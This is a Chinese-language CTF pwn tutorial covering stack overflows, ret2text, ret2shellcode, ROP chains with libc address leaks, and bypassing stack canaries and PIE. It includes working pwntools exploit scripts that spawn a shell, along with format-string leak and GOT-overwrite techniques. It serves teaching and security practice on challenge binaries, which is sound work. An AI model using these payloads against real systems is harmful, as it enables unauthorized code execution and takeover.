CTF Pwn实战入门：栈溢出原理与ROP链构造详解

1. 项目概述：从零到一的Pwn实战入门路径

如果你刚接触CTF（Capture The Flag）安全竞赛，或者对二进制安全、漏洞利用（Pwn）感到好奇，那么“XCTF-Pwn实战：11道入门题漏洞利用与ROP链构造详解”这个标题，很可能就是你正在寻找的“从入门到上手”的实战指南。Pwn，这个源自“own”的俚语，在安全圈特指通过利用程序漏洞来获取系统控制权。它不像Web安全那样有直观的界面，也不像逆向工程那样专注于静态分析，Pwn要求你深入程序的运行时内存，与CPU指令、寄存器、栈和堆这些底层机制打交道，过程充满了挑战，但一旦成功，那种“掌控一切”的成就感是无与伦比的。

这11道入门题，绝非简单的“Hello World”。它们精心设计，覆盖了从最经典的栈缓冲区溢出，到逐步引入安全缓解机制（如NX、Canary、ASLR）的完整学习曲线。其核心目标，是引导你亲手实践如何将一块看似无害的“数据输入”，转化为能够劫持程序执行流的“武器”，并最终构造出复杂的ROP（Return-Oriented Programming）链，在重重限制下达成任意代码执行。这个过程，就像学习一套精妙的“组合拳”：先学会直拳（覆盖返回地址），再学会勾拳（跳转到已有函数），最后掌握一套连招（用程序自身的代码片段“拼凑”出攻击逻辑）。

对于新手而言，最大的障碍往往不是漏洞原理本身，而是如何将书本上的理论，转化为可操作的、能看见效果的攻击过程。这套题目正是为此而生。它不空谈理论，而是要求你打开调试器（如GDB with pwndbg），一边观察内存变化，一边编写利用脚本（通常用Python的pwntools库）。你会亲眼看到，当你输入一长串特定的字符后，程序的EIP/RIP指令指针如何被你“掰”向另一个地址；你会亲手计算出，需要多少字节的填充才能恰好覆盖到关键的栈帧结构。这种“动手-观察-修正”的循环，是掌握Pwn技能最快的方式。

接下来，我将以这11道题为蓝本，结合我多年打CTF和从事安全研究的经验，为你拆解其中的核心关卡、技术要点和那些容易被忽略的“坑”。我们不仅会复现解题步骤，更会深入探讨每一步背后的“为什么”，并分享只有踩过坑才能获得的实战心得。无论你是计算机专业的学生，还是希望拓宽技能栈的安全爱好者，这篇详解都将为你铺平Pwn入门的道路。

2. 环境搭建与工具链配置：你的“武器库”

工欲善其事，必先利其器。在开始“砸”二进制文件之前，一个顺手的调试和分析环境至关重要。与Web测试不同，Pwn的环境需要更贴近底层，且经常涉及32位与64位架构、动态链接库等问题。

2.1 基础系统与工具选型

我强烈推荐使用Linux作为主攻环境，Ubuntu 20.04/22.04 LTS 是社区最主流的选择，软件包丰富且兼容性好。在虚拟机（如VMware或VirtualBox）中安装一个纯净的系统是个好主意，方便随时快照恢复。

核心工具“三件套”：

1. pwntools：Python库，Pwn手的“瑞士军刀”。它封装了本地/远程交互、汇编/反汇编、ELF文件解析、ROP链构建等大量功能，能极大提升写利用脚本（Exploit）的效率。
2. GDB with pwndbg/gef：原版GDB功能强大但不够友好。pwndbg或gef是它的增强插件，提供了直观的上下文信息显示、内存查看、ROP gadget搜索等功能，是动态调试的不二之选。
3. checksec：通常随pwntools或单独安装。用于快速检查目标二进制文件开启了哪些安全保护机制，如NX（栈不可执行）、Canary（栈保护）、PIE（地址随机化）等，让你对挑战难度有个快速评估。

安装命令示例：

# 安装pwntools (建议使用python3虚拟环境) pip3 install --upgrade pwntools # 安装pwndbg（推荐） cd ~/ git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh # 安装checksec（通常pwntools已包含） # 也可以使用系统包管理器安装 sudo apt install checksec

注意：不同Linux发行版的库文件路径和版本可能有差异，这可能导致你在本地运行成功的利用脚本，在远程靶机上却失效。一个常见的“坑”是libc版本。解决方法是在靶机环境或使用Docker镜像中测试，或者使用pwnlib的DynELF等功能进行动态解析。

2.2 调试技巧与效率提升

配置好工具只是第一步，高效使用它们才是关键。

• GDB调试流程标准化：面对一个新二进制文件，我习惯先checksec看保护，再用file命令看架构，然后用gdb ./pwnme加载。在pwndbg中，starti命令可以在程序真正执行第一条指令前停下，方便观察初始状态。设置断点（b *main）后，使用cyclic工具生成一段不重复的字符串进行溢出测试，再通过cyclic -l [崩溃时EIP的值]快速计算出溢出偏移量，这个技巧在入门题中屡试不爽。
• 脚本化交互：永远不要依赖手动输入进行漏洞利用测试。使用pwntools的process()和sendline()进行本地交互，用remote()连接远程靶机。将攻击过程全部写在Python脚本里，方便反复修改和调试。
• 信息收集：在动调试器之前，先用rabin2 -I ./pwnme（rizin工具套件）或readelf -a查看程序头信息、符号表。用objdump -d反汇编查看关键函数（如main，vuln函数）。用strings找找有没有隐藏的/bin/sh字符串或有用的提示信息。这些静态分析往往能提供最初的突破口。

3. 栈溢出基础：ret2text与ret2shellcode

这11道题的前几关，几乎都是从最经典的栈缓冲区溢出开始的。这是所有Pwn技术的基石，必须彻底吃透。

3.1 漏洞原理与栈帧布局

想象一下，程序运行时，调用函数会在栈上分配一块内存（栈帧）来存放局部变量、返回地址等。如果有一个不检查输入长度的函数（如gets，scanf(“%s”)，strcpy），向一个固定大小的局部字符数组（缓冲区）里拼命写数据，多出来的数据就会“溢出”，覆盖掉栈帧上更高地址的内容，其中最危险的就是覆盖了函数返回地址。

以32位程序为例，一个典型的脆弱函数void vuln()的栈帧可能简化如下（地址从高到低增长）：

高地址 +------------------+ | 调用者栈帧... | +------------------+ | 返回地址 (EIP) | <- 被覆盖后，程序将跳转到我们控制的地址！ +------------------+ | 旧的基址指针(EBP) | <- 也可能被覆盖 +------------------+ | 局部变量 buffer[64] | <- 输入从这里开始填充 低地址

当我们输入超过64字节的数据，多出的部分就会依次覆盖EBP和返回地址。程序在vuln函数执行完ret指令时，会从栈顶弹出这个被我们覆盖的地址，并跳转过去执行。这就是劫持控制流。

3.2 ret2text：利用程序自身的代码

“ret2text”中的“text”指的是程序的代码段（.text段）。这是最简单直接的利用方式：把返回地址覆盖成程序里一个现成的、对我们有利的函数的地址。

典型场景：题目给了system函数，并且在代码里还有一个/bin/sh字符串。

1. 信息收集：用objdump -d ./pwnme | grep system找到system函数的地址，比如0x8048430。用strings -t x ./pwnme | grep /bin/sh找到字符串地址，比如0x804a024。
2. 计算偏移：用cyclic模式字符串溢出，在GDB中崩溃时查看EIP值，假设为0x6161616c（‘laaa’），用cyclic -l 0x6161616c算出偏移是108。这意味着我们需要108字节垃圾数据填充buffer和EBP，从第109字节开始覆盖返回地址。
3. 构造Payload：

   from pwn import * context(arch='i386', os='linux') # 设置上下文为32位Linux p = process('./pwnme') offset = 108 system_addr = 0x8048430 binsh_addr = 0x804a024 payload = b'A' * offset + p32(system_addr) + p32(0xdeadbeef) + p32(binsh_addr) p.sendline(payload) p.interactive()

   关键解释：p32()用于将整数打包成32位小端序字节串。在system_addr之后，我们还需要一个“假的返回地址”（这里用0xdeadbeef填充），因为system函数被调用后也会ret，我们需要控制这个ret之后的行为（在简单getshell题中可忽略）。然后是system函数的参数，即/bin/sh的地址。

实操心得：在32位程序中，函数参数是通过栈传递的。调用约定是call system之后，栈顶（ESP指向的位置）应该是返回地址，再往下（ESP+4）才是第一个参数。所以我们的payload结构是：[填充][system地址][system的返回地址][参数1]。64位程序则不同，优先使用寄存器（RDI, RSI, RDX...）传参，这为后续ROP埋下了伏笔。

3.3 ret2shellcode：注入并执行自己的代码

当程序没有现成的system(“/bin/sh”)时，我们可以自己注入一段机器码（shellcode）来打开shell。这要求栈必须是可执行的（即NX保护未开启）。

1. 确认栈可执行：checksec显示NX disabled。
2. 编写/获取shellcode：pwntools提供了方便的shellcraft模块来生成。例如shellcraft.sh()生成一个execve(‘/bin/sh’)的shellcode。
3. 确定shellcode地址：我们需要知道输入的buffer的起始地址，将返回地址覆盖为此地址。这个地址在每次运行时可能因ASLR而变化，但在简单的入门题中，ASLR常被关闭，或者可以通过调试器直接获取静态地址（如0xffffd500）。
4. 构造Payload：payload = shellcode + padding + address_of_shellcode。这里有个技巧，为了增加命中率，可以在shellcode前加一大段NOP指令（\x90），形成“NOP雪橇”，只要返回地址落到这片NOP区，就会滑行到shellcode执行。

from pwn import * context(arch='i386', os='linux') p = process('./pwnme') offset = 108 buf_addr = 0xffffd500 # 通过调试获得 shellcode = asm(shellcraft.sh()) payload = b'\x90' * 64 + shellcode # NOP雪橇 + shellcode payload = payload.ljust(offset, b'A') # 填充至偏移处 payload += p32(buf_addr) # 覆盖返回地址为buffer地址（通常指向NOP区） p.sendline(payload) p.interactive()

注意事项：现代操作系统默认开启NX（No-eXecute）保护，将栈和堆标记为不可执行，使得ret2shellcode这种直接注入代码的方式在真实场景和稍难的题目中几乎失效。这迫使攻击者转向更高级的技术——ROP。

4. 绕过NX：ROP链构造的艺术

当栈不可执行（NX enabled）时，我们无法注入并执行自己的代码。ROP（面向返回的编程）技术应运而生。其核心思想是：利用程序中已有的、以ret指令结尾的短指令序列（gadget），通过精心编排这些gadget的执行顺序，来达成复杂的攻击逻辑，如同用乐高积木拼出想要的形状。

4.1 ROP的核心概念与 gadget 寻找

一个gadget通常形如：

pop edi; ret

这条指令序列存在于程序的代码段（.text）或链接库（如libc）中。它做了两件事：从栈顶弹出一个值到edi寄存器，然后再次ret，继续从栈顶弹出下一个地址去执行。通过控制栈上的数据，我们就间接控制了寄存器的值和程序流。

寻找gadget的工具：

• ROPgadget --binary ./pwnme：最常用的工具，能列出所有可用的gadget。
• ropper：另一个功能强大的工具。
• pwntools的ROP模块：可以自动查找和构建ROP链。

一个最简单的ROP链目标：在64位系统下，调用system(“/bin/sh”)。64位调用约定要求第一个参数放在rdi寄存器。所以我们需要：

1. 一个pop rdi; ret的gadget，用于将/bin/sh字符串的地址装入rdi。
2. system函数的地址。

4.2 实战：构造64位ROP链获取shell

假设通过信息泄露，我们已经知道了system函数和字符串/bin/sh在内存中的地址（如何泄露是下一个重点）。现在我们有：

• pop_rdi_ret地址：0x4007a3
• binsh_addr地址：0x601048
• system_addr地址：0x7ffff7e1a290

构造ROP链的思维过程如下：

1. 程序原返回地址被我们覆盖为第一个gadget地址：pop_rdi_ret。
2. 当原函数ret时，跳转到0x4007a3执行pop rdi; ret。
3. 此时，栈顶（RSP指向的位置）应该是我们预先布置好的下一个数据：binsh_addr。pop rdi指令会将其弹出到rdi寄存器。
4. pop rdi执行完，执行ret。此时栈顶又变成了我们布置的下一个地址：system_addr。于是ret指令跳转到system函数。
5. system函数开始执行时，发现rdi寄存器里已经是/bin/sh的地址，符合调用约定，于是成功执行system(“/bin/sh”)。

用pwntools实现：

from pwn import * context(arch='amd64', os='linux') p = process('./pwnme') offset = 104 # 假设64位程序偏移为104 pop_rdi_ret = 0x4007a3 binsh_addr = 0x601048 system_addr = 0x7ffff7e1a290 payload = b'A' * offset payload += p64(pop_rdi_ret) payload += p64(binsh_addr) payload += p64(system_addr) p.sendline(payload) p.interactive()

这就是一个最基础的、只有两个节点的ROP链。复杂的攻击可能需要串联多个gadget来设置多个参数，甚至进行算术运算。

4.3 通用ROP链与libc地址泄露

在真实的Pwn题中，程序通常使用动态链接库（libc），并且开启了ASLR（地址空间布局随机化）。这意味着system和/bin/sh的绝对地址每次运行都不同。但它们在相对于libc基址的偏移是固定的。

因此，攻击思路变为：

1. 泄露libc中某个函数的地址：比如泄露puts函数在内存中的实际地址。
2. 计算libc基址：libc_base = leaked_puts_addr - libc.symbols[‘puts’]。这里需要知道目标服务器使用的libc版本，我们可以通过题目提供的libc文件，或者通过泄露的多个函数地址在数据库中匹配（如https://libc.blukat.me/）来确定。
3. 计算目标地址：system_addr = libc_base + libc.symbols[‘system’]，binsh_addr = libc_base + next(libc.search(b’/bin/sh’))。
4. 构造最终的ROP链进行攻击。

泄露地址的常用方法：利用程序本身可以输出数据的函数，如puts，write，printf。我们通过ROP链调用puts(puts@got)，打印出puts函数在全局偏移表（GOT）中的地址，这个地址就是运行时地址。GOT表存储了动态链接函数的真实地址。

两次攻击的Payload结构：

• 第一次（泄露）：payload1 = padding + pop_rdi_ret + puts_got + puts_plt + main_addr。目的是调用puts输出puts的真实地址，然后返回到main函数，让程序可以再次被溢出。
• 接收泄露的地址，计算libc基址。
• 第二次（getshell）：payload2 = padding + pop_rdi_ret + binsh_addr + system_addr。

踩坑记录：在泄露地址时，经常因为输出字符串末尾的换行符、空格或字符串截断问题，导致接收到的地址不完整或错误。务必使用p.recvuntil(‘xxx’)和p.recvline()进行精确接收，并用u64(p.recv(6).ljust(8, b’\x00’))这样的方式处理可能不足8字节的地址。另外，返回main函数时，栈空间可能被破坏，需要重新计算偏移，有时需要返回到_start或另一个初始化函数进行“栈重置”。

5. 对抗高级保护：Canary与PIE

入门题的后期，会引入更多安全机制，增加漏洞利用的难度。

5.1 栈溢出保护：Stack Canary

Canary（金丝雀）是在栈上返回地址之前放置的一个随机值。函数返回前会检查这个值是否被改变，若改变则立即终止程序，防止返回地址被覆盖。

绕过思路：

1. 泄露Canary：如果程序存在格式化字符串漏洞或一次读机会，可以尝试泄露Canary的值。因为Canary通常位于buffer和返回地址之间，通过溢出恰好覆盖到Canary之前的位置，然后利用程序输出功能（如printf）将后面的内容（包括Canary）打印出来。在64位下，Canary最低位通常是\x00（空字节），用于防止字符串函数将其意外输出，在构造payload时需要保留这个\x00。
2. 爆破Canary：在fork服务模式的题目中（每次连接fork一个新进程），由于子进程会继承父进程的内存空间，Canary可能不变。可以逐字节爆破（256种可能），通过程序是否崩溃来判断是否正确。
3. 覆盖不触发：如果漏洞不是溢出到返回地址，而是其他控制流（如函数指针），则可能绕过Canary检查。

利用格式化字符串泄露Canary示例： 假设存在printf(buf)的格式化字符串漏洞，且buf在栈上。

payload = b’%23$p’ # 通过调试确定Canary在格式化字符串中的参数位置，假设是第23个参数 p.sendline(payload) p.recvuntil(‘0x’) canary = int(p.recv(16), 16) # 接收16进制表示的Canary log.info(‘Canary: ‘ + hex(canary))

然后在构造溢出payload时，在对应位置用泄露的Canary值原样填充，就能“骗过”检查。

5.2 地址随机化：PIE/ASLR

PIE（位置无关可执行文件）使得程序基址随机化，ASLR使得库基址随机化。这导致代码段（.text）的地址也每次运行都不同，我们之前硬编码的gadget地址失效了。

绕过思路：

1. 泄露代码段地址：和泄露libc地址类似，我们需要先泄露程序自身的一个地址。例如，通过溢出或格式化字符串漏洞，泄露出main函数或某个已知函数的返回地址（它指向代码段），然后根据偏移计算出当前的程序基址elf_base。

   leaked_main_addr = u64(p.recv(6).ljust(8, b’\x00’)) elf_base = leaked_main_addr - elf.symbols[‘main’] # elf是pwntools的ELF对象 pop_rdi_ret = elf_base + 0x7a3 # 原来的偏移是0x7a3

2. 利用未随机化的部分：即使开启PIE，程序的相对偏移是不变的。我们只需要泄露一个点，就能计算出所有其他点的地址。
3. 部分覆盖：在64位地址中，由于ASLR随机化的是高位字节，低位字节可能不变。如果目标地址与已知地址只在最后1-2字节不同，可以尝试部分覆盖指针的低位，将其“指向”我们想要的位置。这需要精确的堆布局知识，在堆利用中更常见。

6. 11道入门题典型关卡实战精讲

下面，我将选取几个有代表性的关卡类型，进行实战化的精讲，串联起上述技术点。

6.1 关卡1：纯栈溢出与ret2text

题目特征：32位程序，无任何保护（checksec显示全false），有明显的gets溢出点，程序中存在system(“/bin/sh”)或system(“/bin/cat flag”)的后门函数。

解题步骤：

1. checksec ./pwn1确认无保护。
2. objdump -d ./pwn1 | grep -A 20 vuln找到溢出函数，计算缓冲区大小。
3. objdump -d ./pwn1 | grep system和strings -t x ./pwn1 | grep /bin找到后门函数和参数地址。
4. 使用cyclic和GDB精确计算偏移。
5. 编写脚本，构造padding + system_addr + fake_ret + arg_addr的payload。
6. 运行脚本，获取shell或直接输出flag。

心得：这是建立信心的一关。关键在于精确计算偏移，并理解32位函数调用时参数在栈上的排列顺序。注意system调用后栈平衡问题，如果程序直接退出，可以用exit地址作为fake_ret，或者直接让system的返回地址指向一个无害的地址（如main）。

6.2 关卡4：64位ROP与libc地址泄露

题目特征：64位程序，开启NX，有溢出点，提供libc.so文件或可通过网络查询确定版本。

解题步骤：

1. 检查保护：checksec，确认NX开启，可能PIE关闭（方便找gadget）。
2. 静态分析：找到溢出函数、puts/write等输出函数、main函数地址。用ROPgadget找pop rdi; ret等关键gadget。
3. 构造第一次payload（泄露）：

   pop_rdi = 0x4007a3 puts_plt = elf.plt[‘puts’] puts_got = elf.got[‘puts’] main_addr = elf.symbols[‘main’] payload1 = flat([ b’A’*offset, pop_rdi, puts_got, puts_plt, main_addr # 重新开始，进行第二次溢出 ])

4. 发送payload1，接收泄露的地址，计算libc基址。

   p.recvuntil(‘\n’) # 接收可能存在的其他输出 leaked_puts = u64(p.recv(6).ljust(8, b’\x00’)) libc_base = leaked_puts - libc.symbols[‘puts’] system_addr = libc_base + libc.symbols[‘system’] binsh_addr = libc_base + next(libc.search(b’/bin/sh’))

5. 构造第二次payload（getshell）并发送。

踩坑点：接收泄露地址时，由于puts输出字符串直到\x00结束，而地址可能包含低位\x00，导致接收不完整。务必使用recv(n)指定字节数或recvuntil(‘\x00’)等方式精准接收。另外，返回main后，栈状态可能与第一次不同，需要重新确认偏移量。

6.3 关卡8：绕过Stack Canary

题目特征：checksec显示Canary found，程序在溢出后有明显提示*** stack smashing detected ***。

解题思路：题目通常同时提供一个可以读和写的漏洞。例如，先通过一个非溢出的读操作（如scanf(“%s”, buf)但长度可控且足够大）来泄露Canary，再通过另一个溢出点（如gets）进行溢出，并在对应位置填入正确的Canary值。

关键步骤：

1. 确定Canary在栈上的位置。可以通过调试，在函数入口处查看$rbp-0x8（64位）或$ebp-0xc（32位）附近的值，或者用cyclic溢出，观察程序崩溃时提示的Canary值（有时会打印）。
2. 利用程序的输出功能（如printf一个数组）来泄露这个位置的值。可能需要精确控制输出长度或利用格式化字符串。
3. 在最终的溢出payload中，在buffer填充后、覆盖EBP/RBP前，填入泄露的Canary值。
4. 后续覆盖返回地址等操作照常。

示例Payload结构：[填充至Canary前][正确的Canary值][填充旧的RBP][新的返回地址][...]

高级技巧：如果程序是fork-server模式，Canary在每次连接时不变，但无法直接泄露。可以尝试逐字节爆破。从最低位（除了固定的\x00）开始，尝试256种可能，如果程序没有崩溃而进入了正常流程或产生了不同输出，则说明这一字节猜对了。这种方法耗时但有效，通常需要编写自动化脚本。

6.4 关卡11：综合挑战 – PIE + Canary + 复杂ROP

题目特征：保护全开（或大部分开启），漏洞点可能不止一个，需要组合利用多种技术。

通用解题框架：

1. 信息收集：用checksec看保护，用rabin2/objdump看函数和符号。寻找漏洞点，如栈溢出、格式化字符串、堆漏洞（入门题较少）。
2. 地址泄露：
   • 如果开PIE，先利用漏洞（如格式化字符串或栈溢出部分覆盖）泄露一个代码段地址，计算程序基址。
   • 如果开Canary，利用漏洞泄露Canary。
   • 利用程序输出函数（puts,write,printf）泄露libc地址。
   • 注意泄露顺序：有时一次payload可以泄露多个信息。
3. 计算关键地址：根据泄露的信息，计算出所有需要的地址：elf_base,canary,libc_base，进而得到system_addr,binsh_addr,pop_rdi_ret等gadget地址。
4. 构造最终ROP链：在最终的溢出payload中，正确填充Canary，覆盖返回地址为第一个gadget，随后在栈上布置好ROP链所需的各个地址和数据。
5. 发送并交互：发送最终payload，获取shell。

思维挑战：这类题目就像解一个多维谜题。你需要规划好有限的读/写机会，可能第一次交互用于泄露A和B，第二次利用A和B去获取C，第三次才完成最终攻击。画一张信息流和攻击步骤图会非常有帮助。

7. 高级技巧与实战资源推荐

在掌握了这11道题的基础后，你可以向更广阔的Pwn领域进发。

7.1 格式化字符串漏洞利用

这是另一种常见漏洞类型，利用printf等函数中用户可控的格式字符串，实现任意内存读（泄露）和任意内存写（覆盖）。关键点在于理解格式化字符串参数在栈上的位置，以及%n格式化符可以写入已打印字符数的特性。

利用姿势：

• 泄露：%p,%x,%s（配合地址）可以泄露栈内容、libc地址、canary等。
• 覆盖：%n（写入4字节）、%hn（写入2字节）、%hhn（写入1字节）可以用于向任意地址写入数据，常用于覆盖GOT表项（将printf@got改为system地址）或修改关键变量。

7.2 堆漏洞入门：UAF与Double Free

当题目从栈转向堆，难度会显著提升。堆利用关注的是malloc、free等动态内存管理机制。

• Use-After-Free (UAF)：释放（free）一块内存后，未将指针置空，后续又继续使用该指针。
• Double Free：对同一块内存进行两次free，破坏堆管理器的数据结构。

利用这些漏洞，目标是实现“任意地址写”（Write-What-Where），从而覆盖函数指针或修改关键数据。学习堆利用需要深入理解glibc的ptmalloc2分配器，如fastbin，unsorted bin，small bin，large bin等结构。

7.3 工具与资源推荐

• 在线平台：除了XCTF，可以多去pwnable.kr，pwnable.tw，HackTheBox，TryHackMe等平台练习，题目层次丰富。
• 学习资料：
  • 书籍：《Hacking: The Art of Exploitation》（经典入门），《漏洞战争》，《CTF竞赛权威指南（Pwn篇）》。
  • 博客/文章：CTF Wiki（https://ctf-wiki.org/ ）是百科全书式的存在。Azeria Labs的ARM汇编教程也很棒。
  • 视频课程：国内外各大安全会议（DEF CON, BlackHat）的Pwn相关议题，以及B站、YouTube上许多安全up主的实战讲解。
• 社区：加入相关的安全社群（如看雪论坛、安全客、Reddit的/r/netsec），多交流，多看别人的Writeup（解题报告）。看懂之后，自己动手复现一遍，是进步最快的方法。

Pwn的学习曲线陡峭，但回报丰厚。它不仅能让你在CTF赛中披荆斩棘，更能让你深刻理解计算机系统底层的工作原理和安全机制的局限性。从这11道入门题开始，保持耐心，勤于动手调试，善于总结和举一反三，你一定会逐渐掌握这项充满魅力的技能。记住，每一个崩溃的segmentation fault背后，都藏着通往系统核心的钥匙。